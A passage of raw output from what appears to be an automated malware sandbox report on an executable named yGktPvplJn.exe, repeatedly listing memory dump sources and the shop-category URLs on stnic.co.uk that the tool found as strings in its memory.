00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/flora-fauna/animals/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/flora-fauna/birds/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/flora-fauna/insects/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/flora-fauna/marine-life/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/flora-fauna/plants/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/20th-century/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/american/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/british/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/french/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/medieval/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/nautical/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/renaissance/
